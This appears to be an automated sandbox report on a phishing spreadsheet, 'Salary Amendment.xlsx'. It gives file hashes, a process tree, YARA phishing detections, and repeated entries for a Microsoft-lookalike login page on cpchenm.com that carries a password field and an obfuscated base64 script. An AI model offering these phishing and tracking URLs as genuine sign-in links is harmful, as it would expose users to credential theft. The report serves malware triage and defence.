Edit tour

Windows Analysis Report
Salary Amendment.xlsx

Overview

General Information

Sample name:	Salary Amendment.xlsx
Analysis ID:	1554577
MD5:	a7ca97e2f27630a3552a86a1847ded63
SHA1:	6b35aaa93fef5002b5a5792ce46efe6a8361220c
SHA256:	d49be0254b49fe08f5edab24048a872395709b13038ebecc6460f67b140b8440
Infos:

Detection

HTMLPhisher

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected HtmlPhish54

AI detected suspicious URL

Phishing site detected (based on favicon image match)

Phishing site detected (based on image similarity)

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML page contains obfuscated script src

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 3196 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

chrome.exe (PID: 3388 cmdline: "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: FFA2B8E17F645BCC20F0E0201FEF83ED)

chrome.exe (PID: 3592 cmdline: "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1460 --field-trial-handle=1256,i,4668756593095259498,3405169372683780548,131072 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: FFA2B8E17F645BCC20F0E0201FEF83ED)

chrome.exe (PID: 3040 cmdline: "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" "https://ctrk.klclick3.com/l/01JCCYDGBH0W36M8EY4KEBXJ1V_0" MD5: FFA2B8E17F645BCC20F0E0201FEF83ED)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
0.8.i.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
0.4.id.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
0.19.i.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
4.3.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
4.4.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
5.5.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
5.6.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
5.8.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
Click to see the 3 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected HtmlPhish54

Source: Yara match	File source: 0.8.i.script.csv, type: HTML
Source: Yara match	File source: 0.4.id.script.csv, type: HTML
Source: Yara match	File source: 0.19.i.script.csv, type: HTML
Source: Yara match	File source: 4.3.pages.csv, type: HTML
Source: Yara match	File source: 4.4.pages.csv, type: HTML
Source: Yara match	File source: 5.5.pages.csv, type: HTML
Source: Yara match	File source: 5.6.pages.csv, type: HTML
Source: Yara match	File source: 5.8.pages.csv, type: HTML

Phishing site detected (based on favicon image match)

Source: https://cpchenm.com	Matcher: Template: microsoft matched with high similarity
Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw&sso_reload=true#Reinput_Email?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf	Matcher: Template: microsoft matched with high similarity

Phishing site detected (based on image similarity)

Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw&sso_reload=true#Reinput_Email?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf

Matcher: Found strong image similarity, brand: MICROSOFT

HTTP Parser: Number of links: 0

Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw#Reinput_Email?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf

HTTP Parser: Base64 decoded: function c(){if(!document.querySelector(".b") || !document.querySelector(".g")){document.head.appendChild(Object.assign(document.createElement("div"),{classList:["b"]}));document.documentElement.style.filter="hue-rotate(4deg)";document.head.appendChild(Ob...

Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_t	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_t	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_t	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_t	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_t	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_t	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_t	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_t	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX
Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_t	HTTP Parser: Script src: data:text/javascript;base64,ZnVuY3Rpb24gYygpe2lmKCFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuYiIpIHx8ICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCIuZyIpKXtkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKE9iamVjdC5hc3NpZ24oZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiZGl2Iikse2NsYXNzTGlzdDpbImIiXX

Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw&sso_reload=true#Reinput_Email?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf	HTTP Parser: Iframe src: https://tvrcemejeff.cpchenm.com/owa/prefetch.aspx
Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw&sso_reload=true#Reinput_Email?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf	HTTP Parser: Iframe src: https://tvrcemejeff.cpchenm.com/owa/prefetch.aspx

HTTP Parser: <input type="password" .../> found

Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw#Reinput_Email?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf	HTTP Parser: No favicon
Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw#Reinput_Email?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf	HTTP Parser: No favicon
Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw&sso_reload=true#Reinput_Email?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf	HTTP Parser: No favicon
Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw&sso_reload=true#Reinput_Email?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf	HTTP Parser: No favicon
Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw&sso_reload=true#Reinput_Email?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf	HTTP Parser: No favicon
Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw&sso_reload=true#Reinput_Email?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf	HTTP Parser: No favicon
Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw&sso_reload=true#Reinput_Email?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf	HTTP Parser: No favicon
Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw&sso_reload=true#Reinput_Email?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf	HTTP Parser: No favicon
Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw&sso_reload=true#Reinput_Email?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf	HTTP Parser: No favicon

Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw&sso_reload=true#Reinput_Email?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf	HTTP Parser: No <meta name="author".. found
Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw&sso_reload=true#Reinput_Email?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf	HTTP Parser: No <meta name="author".. found
Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw&sso_reload=true#Reinput_Email?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf	HTTP Parser: No <meta name="author".. found

Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw&sso_reload=true#Reinput_Email?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf	HTTP Parser: No <meta name="copyright".. found
Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw&sso_reload=true#Reinput_Email?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf	HTTP Parser: No <meta name="copyright".. found
Source: https://tvrceocprq.cpchenm.com/common/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000&redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f&resource=00000002-0000-0ff1-ce00-000000000000&response_mode=form_post&response_type=code+id_token&scope=openid&msafed=1&msaredir=1&client-request-id=2a51e03a-9691-be2b-3843-b2e27ecb841e&protectedtoken=true&claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d&nonce=638670257752018358.3d8641d8-01f6-4285-a5ae-09001ad72a07&state=Dcs7EoAwCABRojPeBgNEPlaehZloa-n1pXjbbQOAtSylUQXcRpiTqLsKcQyNfcywg2cg8WN4SCim5o10EnFOlyRv9W79_bJfPw&sso_reload=true#Reinput_Email?utm_source=Klaviyo&utm_medium=campaign&_kx=RI7R9H_0krIELmEO_8PgZw.XXyCFf	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\Google	Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\Google\GoogleUpdater	Jump to behavior
Source: C:\Program Files (x86)\Google\Chrome\Application\chrome.exe	Directory created: C:\Program Files\chrome_BITS_3388_848746092	Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

